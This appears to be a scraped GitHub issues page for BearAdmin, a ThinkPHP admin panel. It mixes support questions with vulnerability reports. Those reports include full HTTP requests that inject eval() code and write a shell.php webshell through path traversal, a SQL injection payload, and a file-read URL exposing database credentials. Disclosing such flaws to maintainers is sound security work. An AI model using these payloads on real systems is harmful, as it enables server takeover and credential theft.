yupoxiong / bearadmin Goto Github PK
View Code? Open in Web Editor NEW基于ThinkPHP6.0+AdminLTE3.2的后台管理系统
Home Page: https://demo.bearadmin.com/
License: Apache License 2.0
基于ThinkPHP6.0+AdminLTE3.2的后台管理系统
Home Page: https://demo.bearadmin.com/
License: Apache License 2.0
基本不管用哪个后台管理都会有上传图片或者其它文件的功能,但是单纯的存在服务器并不行。
oss好处有点那就不用多说了,包括 HTML静态页 apk 等等都放上去页面可以直接访问,也不怕一下子用户量大
index.php:
xhprof_enable();
...
$xhprof_data = xhprof_disable();
include '/usr/local/src/xhprof-1.2/xhprof_lib/utils/xhprof_lib.php';
include '/usr/local/src/xhprof-1.2/xhprof_lib/utils/xhprof_runs.php';
$objXhprofRun = new XHProfRuns_Default();
$objXhprofRun->save_run($xhprof_data, "bearadmin");
如上这样,加了xhprof做分析,就出现如下错误,官方composer安装的示例加xhprof是没有这个问题的:
Fatal error: Uncaught think\exception\ErrorException: Array to string conversion in /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Connection.php:446 Stack trace: #0 [internal function]: think\Error::appError(8, 'Array to string...', '/home/neil/thin...', 446, Array) #1 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Connection.php(446): PDOStatement->execute() #2 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Query.php(241): think\db\Connection->execute('INSERT INTO be...', Array) #3 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Query.php(2097): think\db\Query->execute('INSERT INTO
be...', Array) #4 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/Model.php(1122): think\db\Query->insert(Array, false, false, NULL) #5 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/Model.php(1602): think\Model->save(Array, Array) #6 /home/neil/thinkphp/BearAdmin/application/common/exception/LogException.php(44): think\Model::create(Array) #7 /home/neil/thinkphp/BearAdmin/thinkphp/library/think in /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Connection.php on line 446
Fatal error: Uncaught think\exception\ErrorException: Array to string conversion in /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Connection.php:446 Stack trace: #0 [internal function]: think\Error::appError(8, 'Array to string...', '/home/neil/thin...', 446, Array) #1 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Connection.php(446): PDOStatement->execute() #2 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Query.php(241): think\db\Connection->execute('INSERT INTO be...', Array) #3 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Query.php(2097): think\db\Query->execute('INSERT INTO
be...', Array) #4 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/Model.php(1122): think\db\Query->insert(Array, false, false, NULL) #5 /home/neil/thinkphp/BearAdmin/thinkphp/library/think/Model.php(1602): think\Model->save(Array, Array) #6 /home/neil/thinkphp/BearAdmin/application/common/exception/LogException.php(44): think\Model::create(Array) #7 /home/neil/thinkphp/BearAdmin/thinkphp/library/think in /home/neil/thinkphp/BearAdmin/thinkphp/library/think/db/Connection.php on line 446
Hey there!
I'd like to report a security issue but cannot find contact instructions on your repository.
If not a hassle, might you kindly add a SECURITY.md
file with an email, or another contact method? GitHub recommends this best practice to ensure security issues are responsibly disclosed, and it would serve as a simple instruction for security researchers in the future.
Thank you for your consideration, and I look forward to hearing from you!
(cc @huntr-helper)
按照流程composer后,默认view_replace_str替换的是static下的?好像源码目录里应该是public下吧?清除缓存手动修改后引用正常了,是我配置修改没对还是默认就这样引入的?
这个漏洞位于app/admin/common.php
中的create_setting_file
函数这里,对于后台修改操作传入的数据没有做任何处理就生成了配置文件。
This vulnerability lies in the create_setting_ file
function in create_setting_ common.php
, which generates a configuration file without doing any processing to the data passed in the backend modification operation.
$file_code = "<?php\r\n/**\r\n* " .
$data->name . ':' . $data->description .
"\r\n* 此配置文件为自动生成,生成时间" . date('Y-m-d H:i:s') .
"\r\n*/\r\n\r\nreturn [";
foreach ($setting as $value) {
$file_code .= "\r\n // " . $value['name'] . ':' . $value['description'] . "\r\n '" . $value['code'] . "'=>[";
foreach ($value->content as $content) {
if (is_array($content['content'])) {
$content['content'] = implode(',', $content['content']);
}
$file_code .= "\r\n // " . $content['name'] . "\r\n '" .
$content['field'] . "'=>'" . $content['content'] . "',";
}
$file_code .= "\r\n],";
}
$file_code .= "\r\n];";
导致在进行后台设置时产生了任意代码注入。
Results in arbitrary code injection during background setup.
数据包:
Data package:
POST /index.php/admin/setting/update.html HTTP/1.1
Host: badmin.com
Content-Length: 1051
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjpBKukHjGOJd7FL0
Origin: http://badmin.com
Referer: http://badmin.com/index.php/admin/setting/admin.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: AppSId=b270c2ec094b300276f41e6235e52111; device_id_uid_2=7535e03c33438ab36562e92183b6380fe4f15c19; DarkMode=0; HeaderFixed=0; DropdownLegacyOffset=0; NoBorder=0; SidebarCollapsed=0; SidebarFixed=0; SidebarMini=0; SidebarMiniMd=0; SidebarMiniXs=0; FlatSidebar=0; LegacySidebar=0; CompactSidebar=0; ChildIndentSidebar=0; ChildHideSidebar=0; NoExpandSidebar=0; FootFixed=0; TextSmBody=0; TextSmHeader=0; TextSmBrand=0; TextSmSidebar=0; TextSmFooter=0
Connection: close
------WebKitFormBoundaryjpBKukHjGOJd7FL0
Content-Disposition: form-data; name="id"
1
------WebKitFormBoundaryjpBKukHjGOJd7FL0
Content-Disposition: form-data; name="name"
XX后台系统'.eval($_POST[1]).'
------WebKitFormBoundaryjpBKukHjGOJd7FL0
Content-Disposition: form-data; name="short_name"
后台
------WebKitFormBoundaryjpBKukHjGOJd7FL0
Content-Disposition: form-data; name="author"
xx科技
------WebKitFormBoundaryjpBKukHjGOJd7FL0
Content-Disposition: form-data; name="website"
#
------WebKitFormBoundaryjpBKukHjGOJd7FL0
Content-Disposition: form-data; name="version"
0.1
------WebKitFormBoundaryjpBKukHjGOJd7FL0
Content-Disposition: form-data; name="logo_file"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryjpBKukHjGOJd7FL0
Content-Disposition: form-data; name="logo"
/static/admin/images/logo.png
------WebKitFormBoundaryjpBKukHjGOJd7FL0
Content-Disposition: form-data; name="__token__"
11e6f7eadc0edc07bce93d111408c05e
------WebKitFormBoundaryjpBKukHjGOJd7FL0--
修改之后结果:
The result after modification:
生成的admin.php
中包恶意代码,攻击者可通过此处入侵服务器。
Malicious code is included in the generated admin.php
, through which an attacker can invade the server.
能不能升级到PHP8呢
Hey there!
I'd like to report a security issue but cannot find contact instructions on your repository.
If not a hassle, might you kindly add a SECURITY.md
file with an email, or another contact method? GitHub recommends this best practice to ensure security issues are responsibly disclosed, and it would serve as a simple instruction for security researchers in the future.
Thank you for your consideration, and I look forward to hearing from you!
(cc @huntr-helper)
common/model/Model.php
//排序
$order = $param['_order'] ?? '';
$by = $param['_by'] ?? 'desc';
$query->order($order ?: 'id', $by ?: 'desc');
不是所有人主健都是用 id
建议改成
$query->order($order ?: $this->getPk(), $by ?: 'desc');
也要考虑没有主健的表的情况
如果jwt过期了怎么保持登录状态?还有就是如何退出?
RT
生成 省市区[三级联动]
报错:
Class '\generate\field\ProvinceCityDistrict' not found
地图选点[map]
生成的地图好像无法选点
请教:
如题.application/config.php中需要修改什么?
In the controller file applocation\admin\controller\AdminLog.php
in the function index
code line 28-33
if (isset($this->param['user_id']) && ($this->param['user_id']) > 0) {
$page_param['query']['user_id'] = $this->param['user_id'];
$where_user = $this->param['user_id'];
$logs->where('user_id=' . $where_user);
$this->assign('user_id', $this->param['user_id']);
}
the parameter named user_id without any filter.then just bring into the MYSQL query.
After use the demo account demo demo login in your app,
and then using the payload -- admin/admin_log/index.html?user_id=1+updatexml(1,concat(0x7e,(version())),0) we can get the version of your MYSQL . that's the testing on your demo website.
in the file
application\admin\controller\databack.php
In the function __construct ,line 16-29
public function __construct()
{
parent::__construct();
$this->config = Config::get("database");
$this->config['savepath'] = ROOT_PATH . 'backup/';
if(!is_dir($this->config['savepath'])){
@mkdir($this->config['savepath']);
}
$this->config['filename'] = "database-backup-" . date("Y-m-d-H-i-s", time()) . ".sql";
$this->back = new DataBackup($this->config);
$this->filename = isset($this->param['name']) ? $this->param['name'] : '';
}
from the code we know that the parameter "name " is from the GET method.and without any limit
let's take a look at the code line 61-64
public function download()
{
$this->back->downloadFile($this->filename);
}
$this->back is defined in the file \extend\tools\DataBackup.php line115-128
public function downloadFile($fileName)
{
$fileName = $this->config['savepath'] . $fileName;
if (file_exists($fileName)) {
ob_end_clean();
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($fileName));
header('Content-Disposition: attachment; filename=' . basename($fileName));
return readfile($fileName);
}
return $this->error('文件不存在');
}
the dowloadfile function haven't any filters.
So i deploy the apps on local,after login we try the poc url /admin/databack/download.html?name=../application/database.php
We can read the config file of mysql account and the password
In application/admin/controller/EditorController.php, it handles editor file upload through server function
And then in extend/tools/UEditor.php function upFile,
it does not check the extension of the file then save it to local storage.
so when upload a file/image/vedio,we can upload a PHP file to getshell.
I test this vulnerability in your demo, and demonstrate it exist, please fix it as soon as possible.
漏洞点位于app/admin/common.php
中的create_setting_file
方法,可以看到第125行有file_put_contents($path, $file_code);
写入文件,然后我们倒过来看看$path
和$file_code
两个参数是否可控。
The vulnerability point is located in the create_setting_file
method in the app/admin/common.php
file. You can see that line 125 has the file_put_contents($path, $file_code);
method to write the file, and then we reverse the process to see if the $path
and $file_code
two parameters are controllable.
$path
参数如下图,直接拼接传入的$data->code
作为写入的文件路径:
The $path
parameter is as follows, splicing the incoming $data->code
directly as the path to the file to be written:
然后$file_code
参数如图,主要看108行的name
和description
,也是直接拼接,但是在这之前还拼接了注释符,我们后面再来看能不能绕过。
Then $file_code
parameters as shown, mainly look at the 108 lines of name
and description
, also directly spliced, but before that also spliced the comment character, I will explain later how to bypass.
在app/admin/controller/SettingGroupController.php
中的add
方法中调用了create_setting_file
方法,并且没有其他过滤和转义,所以绕过注释也很简单,只需要闭合前后注释即可。
The create_setting_file
method is called in the add
method in the app/admin/controller/SettingGroupController.php
file, and there are no other filters or escapes, so it's easy to bypass the comments, just close the comment symbols before and after.
最后生成的恶意文件长这样:
The final malicious file generated looks like this:
所以我们可以直接通过开发管理->设置配置->设置分组管理来传入构造的payload,造成路径穿越写入恶意webshell到public目录。
So we can directly pass in the constructed payload through Development Management->Setup Configuration->Setup Grouping Management, causing path traversal to write malicious webshell to the public directory.
在开发管理->设置配置->设置分组管理->添加,构造下图payload,点击保存即可在public目录下写入shell.php。
In the development management->settings configuration->settings group management->add, construct the payload shown below, click save to write shell.php in the public directory.
数据包:
Data package:
POST /admin/SettingGroup/add.html HTTP/1.1
Host: 192.168.3.60:8083
Content-Length: 997
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEHW2gVJUhcSza8yd
Origin: http://192.168.3.60:8083
Referer: http://192.168.3.60:8083/admin/SettingGroup/add.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: AppSId=07d81f216f3f5f3805e2256f4c932291; admin_user_id=1; admin_user_sign=b22e396b1ac2df18b9bcead37f3e002f; device_id_uid_1=1e50ee83f9b8aff2e47b9d172cc892195b49ea98; DarkMode=0; HeaderFixed=0; DropdownLegacyOffset=0; NoBorder=0; SidebarCollapsed=0; SidebarFixed=0; SidebarMini=0; SidebarMiniMd=0; SidebarMiniXs=0; FlatSidebar=0; LegacySidebar=0; CompactSidebar=0; ChildIndentSidebar=0; ChildHideSidebar=0; NoExpandSidebar=0; FootFixed=0; TextSmBody=0; TextSmHeader=0; TextSmBrand=0; TextSmSidebar=0; TextSmFooter=0
Connection: close
------WebKitFormBoundaryEHW2gVJUhcSza8yd
Content-Disposition: form-data; name="module"
admin
------WebKitFormBoundaryEHW2gVJUhcSza8yd
Content-Disposition: form-data; name="name"
*/phpinfo();/*
------WebKitFormBoundaryEHW2gVJUhcSza8yd
Content-Disposition: form-data; name="description"
*//*
------WebKitFormBoundaryEHW2gVJUhcSza8yd
Content-Disposition: form-data; name="code"
../../../public/shell
------WebKitFormBoundaryEHW2gVJUhcSza8yd
Content-Disposition: form-data; name="sort_number"
1000
------WebKitFormBoundaryEHW2gVJUhcSza8yd
Content-Disposition: form-data; name="icon"
fas fa-list
------WebKitFormBoundaryEHW2gVJUhcSza8yd
Content-Disposition: form-data; name="auto_create_menu"
0
------WebKitFormBoundaryEHW2gVJUhcSza8yd
Content-Disposition: form-data; name="auto_create_file"
1
------WebKitFormBoundaryEHW2gVJUhcSza8yd
Content-Disposition: form-data; name="__token__"
f5d12a0b26db2bddce591189850d08b5
------WebKitFormBoundaryEHW2gVJUhcSza8yd--
结果:
Results:
为防止后台目录暴露,要修改掉默认后台目录名
发现直接修改掉目录名,不可行,貌似需要逐个文件修改命名空间,这有违自动化、便利的原则,不可能每次修改目录名就逐个修改一次吧。
查阅了TP手册,可以用前后台分离方式实现
复制public下的index.php重命名admini.php,这就是新的后台入口文件,在
define('APP_PATH', __DIR__ . '/../application/');
下面添加一行:
define('BIND_MODULE','admin');//绑定后台模块
新的后台访问地址:http://servername/admini.php/auth/login.html 地址可以自己设置伪静态
在index.php同样也要加入一行,禁止访问后台:
define('BIND_MODULE','index');//绑定前台模块
如果使用api模块也同上操作。
这个fetch函数在哪里调用的?是哪个控制器??没看明白
//重写fetch
protected function fetch($template = '', $vars = [], $replace = [], $config = [])
{
//左侧菜单
$this->webData['left_menu'] = $this->getLeftMenu();
parent::assign(['webData' => $this->webData]);
return parent::fetch($template, $vars, $replace, $config);
}
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.